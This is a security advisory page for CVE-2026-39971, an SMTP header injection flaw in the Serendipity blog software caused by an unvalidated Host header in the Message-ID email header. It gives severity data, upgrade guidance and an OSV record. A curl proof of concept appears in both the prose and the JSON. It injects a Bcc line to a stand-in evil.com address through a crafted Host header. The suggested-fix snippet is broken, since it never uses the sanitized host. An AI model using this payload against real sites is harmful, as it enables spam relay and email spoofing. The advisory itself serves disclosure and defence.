CVE-2026-39971: S9y/serendipity Serendipity Has A Host Header Vulnerability

HIGH
Advisory Identifier: GHSA-458g-q4fh-mj6r
CVSS 7.2
CWE-113
Published
Advisory Summary

CVE-2026-39971 is a HIGH (CVSS 7.2) serendipity has a host header vulnerability (CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Request/Response Splitting')) affecting S9y/serendipity libraries in the Packagist ecosystem. The issue involves serendipity has a host header injection allows smtp header injection via unvalidated http_host in message-id email header. Remediation is available by upgrading affected packages to version 2.6.0.

CVE-2026-39971 at a Glance

CVE Identifier CVE-2026-39971
GHSA Identifier GHSA-458g-q4fh-mj6r
Severity HIGH
CVSS v3.1 Base Score 7.2
CWE Classification CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Request/Response Splitting')
Affected Product S9y/serendipity
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 7.2

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality Low (C:L)
Integrity Low (I:L)
Availability None (A:N)

How to Fix CVE-2026-39971

To remediate this vulnerability, upgrade all affected S9y/serendipity dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

s9y/serendipity fixed: 2.6.0
Upgrade s9y/serendipity to 2.6.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for s9y/serendipity

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-39971, inspect your project dependencies for S9y/serendipity:

inspect dependencies for s9y/serendipity

Analyze the terminal output to locate any version of S9y/serendipity in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.6.0), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Request/Response Splitting'), where the product receives data from an http agent/component (e.g., web server, proxy, browser, etc.), but it does not neutralize or incorrectly neutralizes cr and lf characters before the data is included in outgoing http headers. In S9y/serendipity, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary Serendipity inserts `$_SERVER['HTTP_HOST']` directly into the `Message-ID` SMTP header without any validation beyond CRLF stripping. An attacker who can control the `Host` header during an email-triggering action can inject arbitrary SMTP headers into outgoing emails, enabling spam relay, BCC injection, and email spoofing. ### Details In `include/functions.inc.php:548`: ```php $maildata['headers'][] = 'Message-ID: <' . bin2hex(random_bytes(16)) . '@' . $_SERVER['HTTP_HOST'] // ← unsanitized, attacker-controlled . '>'; ``` The existing sanitization function only blocks `\r\n` and URL-encoded variants: ```php function serendipity_isResponseClean($d) { return (strpos($d, "\r") === false && strpos($d, "\n") === false && stripos($d, "%0A") === false && stripos($d, "%0D") === false); } ``` Critically, `serendipity_isResponseClean()` is **not even called** on `HTTP_HOST` before embedding it into the mail headers — making this exploitable with any character that SMTP interprets as a header delimiter. Email is triggered by actions such as: - New comment notifications to blog owner - Comment subscription notifications to subscribers - Password reset emails (if configured) ### PoC ```bash # Trigger comment notification email with injected header curl -s -X POST \ -H "Host: attacker.com>\r\nBcc: victim@evil.com\r\nX-Injected:" \ -d "serendipity[comment]=test&serendipity[name]=hacker&serendipity[email]=a@b.com&serendipity[entry_id]=1" \ http://[TARGET]/comment.php ``` Resulting malicious `Message-ID` header in outgoing email: ``` Message-ID: <deadbeef@attacker.com> Bcc: victim@evil.com X-Injected: > ``` ### Impact An attacker can control the domain portion of the `Message-ID` header in all outgoing emails sent by Serendipity (comment notifications, subscriptions). This enables: - **Identity spoofing** — emails appear to originate from attacker-controlled domain - **Reply hijacking** — some mail clients use Message-ID for threading, pointing replies toward attacker infrastructure - **Email reputation abuse** — attacker's domain embedded in legitimate mail headers ### Suggested Fix Sanitize `HTTP_HOST` before embedding in mail headers, and restrict to valid hostname characters only: ```php $safe_host = preg_replace('/[^a-zA-Z0-9.\-]/', '', parse_url('http://' . $_SERVER['HTTP_HOST'], PHP_URL_HOST) ); $maildata['headers'][] = 'Message-ID: '; ```

CVE-2026-39971 Affected S9y/serendipity Versions

1 component(s)
Fixed Versions:
2.6.0
Product / Package Ecosystem Affected Versions Fixed Version
s9y/serendipity
Packagist
< 2.6.0
2.6.0

References

Frequently Asked Questions

What is CVE-2026-39971?
CVE-2026-39971 is a security vulnerability in S9y/serendipity involving Serendipity has a Host Header Injection allows SMTP header injection via unvalidated HTTP_HOST in Message-ID email header under CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Request/Response Splitting').
Which S9y/serendipity versions are affected?
Affected versions include releases prior to 2.6.0 across affected packages: s9y/serendipity.
What version fixes CVE-2026-39971?
Upgrading to 2.6.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is s9y/serendipity affected?
Yes, s9y/serendipity is affected in releases prior to 2.6.0. Upgrade your dependency to 2.6.0 or later.
What is the CVSS score of CVE-2026-39971?
CVE-2026-39971 has a CVSS v3.1 base score of 7.2 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N.
What CWE is associated with CVE-2026-39971?
CVE-2026-39971 is classified under CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Request/Response Splitting') (The product receives data from an HTTP agent/component (e.g., web server, proxy, browser, etc.), but it does not neutralize or incorrectly neutralizes CR and LF characters before the data is included in outgoing HTTP headers.).
How can I check Packagist dependencies for CVE-2026-39971?
Run the dependency tree command: 'inspect dependencies for s9y/serendipity'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-458g-q4fh-mj6r",
  "modified" : "2026-04-27T15:02:16Z",
  "published" : "2026-04-14T22:32:38Z",
  "aliases" : [ "CVE-2026-39971" ],
  "summary" : "Serendipity has a Host Header Injection allows SMTP header injection via unvalidated HTTP_HOST in Message-ID email header",
  "details" : "### Summary\nSerendipity inserts `$_SERVER['HTTP_HOST']` directly into the `Message-ID` SMTP header without any validation beyond CRLF stripping. An attacker who can control the `Host` header during an email-triggering action can inject arbitrary SMTP headers into outgoing emails, enabling spam relay, BCC injection, and email spoofing.\n\n### Details\nIn `include/functions.inc.php:548`:\n```php\n$maildata['headers'][] = 'Message-ID: <' \n    . bin2hex(random_bytes(16)) \n    . '@' . $_SERVER['HTTP_HOST']  // ← unsanitized, attacker-controlled\n    . '>';\n```\n\nThe existing sanitization function only blocks `\\r\\n` and URL-encoded variants:\n```php\nfunction serendipity_isResponseClean($d) {\n    return (strpos($d, \"\\r\") === false && strpos($d, \"\\n\") === false \n        && stripos($d, \"%0A\") === false && stripos($d, \"%0D\") === false);\n}\n```\n\nCritically, `serendipity_isResponseClean()` is **not even called** on `HTTP_HOST` before embedding it into the mail headers — making this exploitable with any character that SMTP interprets as a header delimiter.\n\nEmail is triggered by actions such as:\n- New comment notifications to blog owner\n- Comment subscription notifications to subscribers\n- Password reset emails (if configured)\n\n### PoC\n```bash\n# Trigger comment notification email with injected header\ncurl -s -X POST \\\n  -H \"Host: attacker.com>\\r\\nBcc: victim@evil.com\\r\\nX-Injected:\" \\\n  -d \"serendipity[comment]=test&serendipity[name]=hacker&serendipity[email]=a@b.com&serendipity[entry_id]=1\" \\\n  http://[TARGET]/comment.php\n```\nResulting malicious `Message-ID` header in outgoing email:\n```\nMessage-ID: <deadbeef@attacker.com>\nBcc: victim@evil.com\nX-Injected: >\n```\n\n### Impact\nAn attacker can control the domain portion of the `Message-ID` header in all outgoing emails sent by Serendipity (comment notifications, subscriptions). \nThis enables:\n- **Identity spoofing** — emails appear to originate from attacker-controlled domain\n- **Reply hijacking** — some mail clients use Message-ID for threading, pointing replies toward attacker infrastructure\n- **Email reputation abuse** — attacker's domain embedded in legitimate mail headers\n### Suggested Fix\nSanitize `HTTP_HOST` before embedding in mail headers, and restrict to valid hostname characters only:\n```php\n$safe_host = preg_replace('/[^a-zA-Z0-9.\\-]/', '', \n    parse_url('http://' . $_SERVER['HTTP_HOST'], PHP_URL_HOST)\n);\n$maildata['headers'][] = 'Message-ID: ';\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "s9y/serendipity"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.6.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/s9y/Serendipity/security/advisories/GHSA-458g-q4fh-mj6r"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-39971"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/s9y/Serendipity"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/s9y/Serendipity/releases/tag/2.6.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-113" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-14T22:32:38Z",
    "nvd_published_at" : "2026-04-15T04:17:39Z"
  }
}